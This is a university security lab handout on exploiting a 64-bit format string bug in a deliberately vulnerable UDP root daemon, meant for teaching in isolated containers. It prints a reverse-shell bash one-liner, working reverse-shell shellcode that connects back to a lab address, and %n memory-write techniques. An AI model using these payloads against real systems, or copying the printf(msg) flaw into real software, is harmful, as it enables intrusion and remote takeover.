# Format String Vulnerability Lab (64-bit)

Copyright © 2020 by Wenliang Du.
This work is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. If you remix, transform, or build upon the material, this copyright notice must be left intact, or reproduced in a way that is reasonable to the medium in which the work is being re-published.

## 1 Overview

The `printf()` function in C is used to print out a string according to a format. Its first argument is called *format string*, which defines how the string should be formatted. Format strings use placeholders marked by the `%` character for the `printf()` function to fill in data during the printing. The use of format strings is not only limited to the `printf()` function; many other functions, such as `sprintf()`, `fprintf()`, and `scanf()`, also use format strings. Some programs allow users to provide the entire or part of the contents in a format string. If such contents are not sanitized, malicious users can use this opportunity to get the program to run arbitrary code. A problem like this is called *format string vulnerability*.

The objective of this lab is for students to gain the first-hand experience on format string vulnerabilities by putting what they have learned about the vulnerability from class into actions. Students will be given a program with a format string vulnerability; their task is to exploit the vulnerability to achieve the following damage: (1) crash the program, (2) read the internal memory of the program, (3) modify the internal memory of the program, and most severely, (4) inject and execute malicious code using the victim program's privilege. This lab covers the following topics:

- Format string vulnerability
- Code injection
- Shellcode
- Reverse shell

**Customization by instructor.** Instructors should customize this lab by choosing a value for the `DUMMY_SIZE` constant, which is used during the compilation of the vulnerable program. Different values can make the solutions different. Please pick a value between `0` and `300` for this lab.

**The `DUMMY_SIZE` value for this lab is: _____**

**Readings and videos.** Detailed coverage of the format string attack can be found in the following:

- Chapter 6 of the SEED Book, *Computer & Internet Security: A Hands-on Approach*, 2nd Edition, by Wenliang Du. See details at `https://www.handsonsecurity.net`.
- Section 9 of the SEED Lecture at Udemy, *Computer Security: A Hands-on Approach*, by Wenliang Du. See details at `https://www.handsonsecurity.net/video.html`.
- The lab also involves reverse shell, which is covered in Chapter 9 of the SEED book.

**Lab environment.** This lab has been tested on our pre-built Ubuntu 20.04 VM, which can be downloaded from the SEED website.

# 2 Lab Setup

## 2.1 The Vulnerable Program

You will be provided with a server program, and this program has a format string vulnerability. When it runs, it listens to UDP port `9090`. Whenever a UDP packet comes to this port, the program gets the data and invokes `myprintf()` to print out the data. The server is a root daemon, i.e., it runs with the root privilege. Inside the `myprintf()` function, there is a format string vulnerability. We will exploit this vulnerability to gain the root privilege.

Listing 1: The vulnerable server program `server.c` (can be downloaded from the lab's website)

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>

#define PORT 9090

/* Changing this size will change the layout of the stack.
 * We have added 2 dummy arrays: in main() and myprintf().
 * Instructors can change this value each year, so students
 * won't be able to use the solutions from the past.
 * Suggested value: between 0 and 300  */
#ifndef DUMMY_SIZE
#define DUMMY_SIZE 100
#endif

char *secret = "A secret message\n";
unsigned long  target = 0x1122334455667788;

void myprintf(char *msg)
{
    unsigned long int *framep;

    // Copy the rbp value into framep, and print it out
    asm("movq %%rbp, %0" : "=r" (framep));
    printf("Frame Pointer (rbp) inside myprintf(): 0x%.16lx\n",
            (unsigned long) framep);

    /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);

    // This line has a format-string vulnerability
    printf("The target variable (value, before printf): 0x%.16lx\n", target);
    printf(msg);
    printf("The target variable (value, after printf):  0x%.16lx\n", target);
}

void main()
{
```

```
    struct sockaddr_in server;
    struct sockaddr_in client;
    int clientLen;
    char buf[1500];

    /* Change the size of the dummy array to randomize the parameters
       for this lab. Need to use the array at least once */
    char dummy[DUMMY_SIZE];  memset(dummy, 0, DUMMY_SIZE);

    /* Print out some internal data to simplify lab tasks */
    printf("Input buffer (address):        0x%.16lx\n", (unsigned long) buf);
    printf("The secret variable (address): 0x%.16lx\n",
            (unsigned long) secret);
    printf("The target variable (address): 0x%.16lx\n",
            (unsigned long) &target);
    myprintf("");

    int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
    memset((char *) &server, 0, sizeof(server));
    server.sin_family = AF_INET;
    server.sin_addr.s_addr = htonl(INADDR_ANY);
    server.sin_port = htons(PORT);

    if (bind(sock, (struct sockaddr *) &server, sizeof(server)) < 0)
        perror("ERROR on binding");

    while (1) {
        bzero(buf, 1500);
        recvfrom(sock, buf, 1500-1, 0,
                 (struct sockaddr *) &client, &clientLen);
        myprintf(buf);
    }
    close(sock);
}
```

**Compilation.** Compile the above program. For this task, we will compile it to 64-bit binary code. During the compilation, you will see a warning message. This warning is generated by a countermeasure implemented by the `gcc` compiler against format string vulnerabilities. We can ignore this warning for now.

```
// Note: N should be replaced by the value set by the instructor
$ gcc -DDUMMY_SIZE=N -z execstack -o server server.c
server.c: In function 'myprintf':
server.c:13:5: warning: format not a string literal and no format arguments
               [-Wformat-security]
     printf(msg);
     ^
```

It should be noted that the program needs to be compiled using the `"-z execstack"` option, which allows the stack to be executable. Non-executable stack is a countermeasure against stack-based code injection attacks, but it can be defeated using the return-to-libc technique. To simplify this lab, we simply disable this defeat-able countermeasure.

**For instructors.** To prevent students from using the solutions from the past (or from those posted on the Internet), instructors can change the value for `DUMMY_SIZE` by requiring students to compile the server code using a different `DUMMY_SIZE` value. Without the `-DDUMMY_SIZE` option, `DUMMY_SIZE` is set to the default value 100 (defined in the program). When this value changes, the layout of the stack will change, and the solution will be different. Students should ask their instructors for the value of `N`.

## 2.2 Setting Up Containers for the Server

We will use two machines for this lab, one for the attacker, and the other for running the vulnerable server. Instead of using two virtual machines, we will use container. We run the vulnerable server inside a Docker container, and launch the attack from the VM. The files needed for container creation is included in the `Labsetup.zip` file, which can be downloaded from the lab's website.

**Turning off randomization.** To simplify the tasks in this lab, we turn off the address randomization using the following command. This needs to be done on the VM, because containers do not have privilege to modify this kernel variables. The change is global, affecting all the containers.

```
$ sudo  sysctl -w kernel.randomize_va_space=0
```

**The `Dockerfile` file** Docker can build images automatically by reading the instructions from a file called `Dockerfile`. The content of `Dockerfile` inside the `image_ubuntu` folder is shown in the following:

```
FROM handsonsecurity/seed-ubuntu:medium

COPY server_64 /
EXPOSE 9090

CMD /bin/bash
```

The container is built on top of our pre-built Docker image stored in the Docker Hub. The image is specified in the `FROM` entry. We copy the server program to the root folder inside the container (make sure compile the server code first). We expose the port `9090`, because it is used by the server program. The final `CMD` entry indicates that when the container starts, the `/bin/bash` program will be executed automatically.

**Building container image.** To build the container image, we can enter the `image_ubuntu` folder, first type `make` to compile the server code. If it gives you an error, that means you have not set the value for `N` inside `Makefile`. Please set the value in the `-DDUMMY_SIZE=N` option, using the value provided by your professor (see the previous sub-section for details).

After the compilation, run the "`docker build`" command to build the container image. The name specified in the `-t` option is the name of the container image, and you can use any name you want. The dot at the end means build the image from the current folder.

```
$ make
$ docker build -t server .
```

If you are familiar with Docker Compose, you can use Compose to build and run the image. The `docker-compose.yml` file is already provided in the `Labsetup` folder.

**Running the container.** Once the container image is built, we can use the following command to run an instance based on the image. With the `--rm` option, the container instance will be automatically removed when it exits (the image will not be removed). The `-it` option is required because we need to get an interactive session with the container. After the container starts, you will get a shell. Execute the `ip addr` command to get the IP address of the container. We need it in the attack.

```
$ docker run --rm -it server
root@1a7468ce7eaa:/# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state ...
    inet 127.0.0.1/8 scope host lo
34: eth0@if35: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 ...
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
```

**Several useful commands.** Students can refer to the Docker's manual to learn more Docker's commands. We list some of the commands that might be useful in this lab.

```
# List all the running containers.
$ docker ps

# Stop a container
$ docker stop <id>

# Run a bash command on a running container
$ docker exec -it <id> /bin/bash
```

## 2.3 Running the Vulnerable Server

On the server, we run our server program using the root privilege. We assume that this program is a privileged root daemon. The server listens to port `9090`. When it runs, it prints out some internal data that are needed for the attacks. In the real world, servers do not print out this kind of data. We do that to simplify the lab tasks. In real attacks, attackers need to find way to figure out these data or guess them.

```
// On the server container
# /server_64
Input buffer (address):        0x00007fffffffd9c0
The secret variable (address): 0x0000555555556008
The target variable (address): 0x0000555555558010
Frame Pointer (rbp) inside myprintf():      0x00007fffffffd910
The target variable (value, before printf): 0x1122334455667788
The target variable (value, after printf):  0x1122334455667788
```

On the client VM, we can send data to the server using the `nc` command, where the flag `"-u"` means UDP (the server program is a UDP server). The IP address in the following example should be replaced by the actual IP address of the server container. Yon can send any data to the server. The server program is supposed to print out whatever is sent by you.

```
// Send out a "hello" message to the server
$ echo hello | nc -u 172.17.0.2 9090

// Send the content of badfile to the server
$ nc -u 172.17.0.2 9090 < badfile
```

# 3 Lab Tasks

## 3.1 Task 1: Crashing the Server Program

The objective of this task is to provide an input to the server, such that when the server program tries to print out the user input in the `myprintf()` function, it will crash.

## 3.2 Task 2: Printing Out Server Memory

The objective of this task is to get the server to print out some data from its memory. The data will be printed out on the server side, so the attacker cannot see it. Therefore, this is not a meaningful attack, but the technique used in this task will be essential for the subsequent tasks.

There is a secret message stored in the heap area. The address of this message will be printed out by the server program, and we assume that the attacker knows this address. Your job is to print out the content of the secret message. To achieve this goal, you need to place the address (in the binary form) of the secret message in your input (i.e., the format string), but it is difficult to type the binary data inside a terminal. We can use the following commands do that.

It should be noted that most computers are small-endian machines, so to store `0x11223344AABBCCDD` in memory, the least significant byte `0xDD` is stored in the lower address, while the most significant byte `0x11` is stored in the higher address. Therefore, when we store the address in a buffer, we need to save it using this order: `0xDD`, `0xCC`, ..., `0x11`.

**Python code.** Because the format string that we need to construct may be quite long, it is more convenient to write a Python program to do the construction. The following sample code shows how to construct a string that contains binary numbers.

Listing 2: Sample code `build_string.py` (included in Labsetup.zip)

```
#!/usr/bin/env python3
import sys

# Initialize the content array
N = 1500
content = bytearray(0x0 for i in range(N))

# This line shows how to store an integer at offset 0
number  = 0x11223344aabbccdd
content[0:8]  =  (number).to_bytes(8,byteorder='little')

# This line shows how to construct a string s with
#   12 of "%.8x", concatenated with a "%s"
s = "%.8x"*12 + "%s"

# The line shows how to store the string s at offset 16
fmt  = (s).encode('latin-1')
content[16:16+len(fmt)] = fmt

# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()
```

### 3.3 Task 3: Changing Server Memory

The objective of this task is to modify the value of the `target` variable that is defined in the server program. Its original value is `0x1122334455667788`. Assume that this variable holds an important value, which can affect the control flow of the program. If remote attackers can change its value, they can change the behavior of this program. We have three sub-tasks.

- **Task 3.A: Change the value to a different value.** In this sub-task, we need to change the content of the `target` variable to something else. Your task is considered as a success if you can change it to a different value, regardless of what value it may be.
- **Task 3.B: Change the value to `0x500`.** In this sub-task, we need to change the content of the `target` variable to a specific value `0x500`. Your task is considered as a success only if the variable's value becomes `0x500`.
- **Task 3.C: Change the value to `0x11dd22cc33bb44aa`.** This sub-task is similar to the previous one, except that the target value is now a large number. In a format string attack, this value is the total number of characters that are printed out by the `printf()` function; printing out this large number of characters is not practical. You need to use a faster approach. The basic idea is to use `%hn` or `%hhn`, instead of `%n`, so we can modify a two-byte or one-byte memory space at a time.

### 3.4 Task 4: Injecting Malicious Code

Now we are ready to go after the crown jewel of this attack, i.e., to inject a piece of malicious code to the server program, so we can get a root shell on the server machine. Even though we cannot control this shell, this task lay the ground work for our next task, which is to gain the complete control of the server computer.

To do this task, we need to inject a piece of malicious code, in its binary format, into the server's memory, and then use the format string vulnerability to modify the return address field of a function, so when the function returns, it jumps to our injected code. This malicious code is called shellcode, and it is provided to students for this lab (in `shellcode.py`) . Students who are interested in learning how to write shellcode can work on another SEED lab specifically designed for shellcode development.

The technique used for this task is similar to that in the previous task: they both modify a 8-byte number in the memory. The previous task modifies the target variable, while this task modifies the return address field of a function. Students need to figure out the address for the return-address field based on the server printout.

## 4 Task 5: Getting a Reverse Shell

When attackers are able to inject a command to the victim's machine, they are not interested in running one simple command on the victim machine; they are more interested in running many commands. What attackers want to achieve is to use the attack to set up a back door, so they can use this back door to conveniently conduct further damages.

A typical way to set up back doors is to run a reverse shell from the victim machine to give the attacker the shell access to the victim machine. Reverse shell is a shell process running on a remote machine, connecting back to the attacker's machine. This gives an attacker a convenient way to access a remote machine once it has been compromised. Explanation on how a reverse shell works is provided in the SEED book (2nd edition).

To get a reverse shell, we need to first run a TCP server on the attacker machine. This server waits for our malicious code to call back from the victim server machine. Instructions on setting up a reverse shell is

provided in Section 5.3, and the shellcode that executes a reverse shell is provided in Section 5.4. The code is also included in the lab setup file (inside `shellcode.py`).

# 5 Guidelines

## 5.1 Selecting the k-th Optional Argument

In a format string, we can use `%x` to move the argument pointer `va_list` to the next optional arguments. We can also directly move the pointer to the `k`-th optional argument. This is done using the format string's parameter field (in the form of `k$`). The following code example uses `"%3$.20x"` to print out the value of the 3rd optional argument (number 3), and then uses `"%6$n"` to write a value to the 6th optional argument (the variable `var`, its value will become `20`). Finally, using `%2$.10x`, it moves the pointer back to the 2nd optional argument (number 2), and print it out. You can see, using this method, we can move the pointer freely back and forth.

```
#include <stdio.h>
int main()
{
    int var = 1000;
    printf("%3$.20x%6$n%2$.10x\n", 1, 2, 3, 4, 5, &var);
    printf("The value in var: %d\n",var);
    return 0;
}
----- Output ------
seed@ubuntu:$ a.out
00000000000000000030000000002
The value in var: 20
```

## 5.2 A Challenge Related to 64-bit Address

A challenge caused by the x64 architecture is the zeros in the address. Although the x64 architecture supports 64-bit address space, only the address from `0x00` through `0x00007FFFFFFFFFFF` is allowed. That means for every address (8 bytes), the highest two bytes are always zeros. This causes a problem.

In the attack, we need to place addresses inside the format string. For 32-bit programs, we can put the addresses anywhere, because there are no zeros inside the address. We can no longer do this for the 64-bit programs. If you put an address in the middle of your format string, when `printf()` parses the format string, it will stop the parsing when it sees a zero. Basically, anything after the first zero in a format string will not be considered as part of the format string.

The problem caused by zeros is different from that in the buffer overflow attack, in which, zeros will terminate the memory copy if `strpcy()` is used. Here, we do not have memory copy in the program, so we can have zeros in our input, but where to put them is critical. There are many ways to solve this problem, and we leave this to students. In the lab report, students should explain how they have solved this problem.

## 5.3 The Reverse Shell Command

The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes

from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection.

A commonly used program by attackers is `netcat`, which, if running with the `"-l"` option, becomes a TCP server that listens for a connection on the specified port. This server program basically prints out whatever is sent by the client, and sends to the client whatever is typed by the user running the server. In the following experiment, `netcat` (`nc` for short) is used to listen for a connection on port `9090` (let us focus only on the first line).

```
Attacker(10.0.2.6):$ nc -nv -l 9090  ← Waiting for reverse shell
Listening on 0.0.0.0 9090
Connection received on 10.0.2.5 39452
Server(10.0.2.5):$     ← Reverse shell from 10.0.2.5.
Server(10.0.2.5):$ ifconfig
ifconfig
enp0s3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.0.2.5  netmask 255.255.255.0  broadcast 10.0.2.255
        ...
```

The above `nc` command will block, waiting for a connection. We now directly run the following bash program on the Server machine (`10.0.2.5`) to emulate what attackers would run after compromising the server via the Shellshock attack. This bash command will trigger a TCP connection to the attacker machine's port 9090, and a reverse shell will be created. We can see the shell prompt from the above result, indicating that the shell is running on the Server machine; we can type the `ifconfig` command to verify that the IP address is indeed `10.0.2.5`, the one belonging to the Server machine. Here is the bash command:

```
Server(10.0.2.5):$ /bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1
```

The above command represents the one that would normally be executed on a compromised server. It is quite complicated, and we give a detailed explanation in the following:

- `"/bin/bash -i"`: The option `i` stands for interactive, meaning that the shell must be interactive (must provide a shell prompt).
- `"> /dev/tcp/10.0.2.6/9090"`: This causes the output device (`stdout`) of the shell to be redirected to the TCP connection to `10.0.2.6`'s port `9090`. In `Unix` systems, `stdout`'s file descriptor is `1`.
- `"0<&1"`: File descriptor `0` represents the standard input device (`stdin`). This option tells the system to use the standard output device as the stardard input device. Since `stdout` is already redirected to the TCP connection, this option basically indicates that the shell program will get its input from the same TCP connection.
- `"2>&1"`: File descriptor `2` represents the standard error `stderr`. This causes the error output to be redirected to `stdout`, which is the TCP connection.

In summary, the command `"/bin/bash -i > /dev/tcp/10.0.2.6/9090 0<&1 2>&1"` starts a `bash` shell on the server machine, with its input coming from a TCP connection, and output going to the same TCP connection. In our experiment, when the `bash` shell command is executed on `10.0.2.5`, it connects back to the `netcat` process started on `10.0.2.6`. This is confirmed via the `"Connection from 10.0.2.5 ..."` message displayed by `netcat`.

### 5.4 The Rverse Shellcode

The shellcode for the reverse shell command is given below (it is also included in the provided code skeleton). If students are interested in learning how to write such a shellcode from scratch, they can look at the instructions in another SEED lab, called *Shellcode Development Lab*.

```
# Execute "/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1"
rev_shell= (
   "\x48\x31\xc0\x50\x48\xb8\x2f\x2f\x2f\x2f\x62\x61\x73\x68\x50\x48"
   "\xb8\x2f\x2f\x2f\x2f\x2f\x62\x69\x6e\x50\x48\x89\xe3\x48\x31\xc0"
   "\x50\x48\xb8\x2d\x63\x63\x63\x63\x63\x63\x50\x48\x89\xe1\x48"
   "\x31\xc0\x50\x48"
   ###################################
   "\xb8" "    2>&1" "\x50\x48"   ●
   "\xb8" "    0<&1" "\x50\x48"
   "\xb8" "        " "\x50\x48"
   "\xb8" "0.1/7070" "\x50\x48"   ❍
   "\xb8" "/172.17." "\x50\x48"   ❍
   "\xb8" "/dev/tcp" "\x50\x48"
   "\xb8" "h -i >  " "\x50\x48"
   "\xb8" "/bin/bas" "\x50\x48"   ●
   ###################################
   "\x89\xe2\x48\x31\xc0\x50\x52\x51\x53\x48\x89\xe6\x48\x89\xdf"
   "\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05"
).encode('latin-1')
```

The objective of lines between the two ● marks is to push the reverse shell command into the stack. The string is divided into several pieces, each having exactly 8 bytes. These pieces are then pushed into the stack in the reverse order (because stack grows from high addresses to low addresses). Each line of the code does the same thing: save (`\xb8`) a 8-byte number to the `rax` register, and then pushes (`\x50\x48`) the value of this register into the stack. After running these lines of instructions, the following revser shell command will be stored on the stack.

```
/bin/bash -i >/dev/tcp/172.17.0.1/7070 0<&1 2>&1
```

The IP address and port number part of the reverse shell command are in the lines marked by ❍. If your server has a different IP address and/or port number, you need to modify these lines. You need to make sure that each line takes string that is exactly 8 bytes. If your string is shorter, you can pad it with extra spaces; if your string is longer, you can create another line. For example, if your IP address is `172.17.30.153`, you can do the following:

```
   "\xb8" "070     " "\x50\x48"
   "\xb8" "30.153/7" "\x50\x48"
   "\xb8" "/172.17." "\x50\x48"
```

## 6 Submission

You need to submit a detailed lab report, with screenshots, to describe what you have done and what you have observed. You also need to provide explanation to the observations that are interesting or surprising. Please also list the important code snippets followed by explanation. Simply attaching code without any explanation will not receive credits.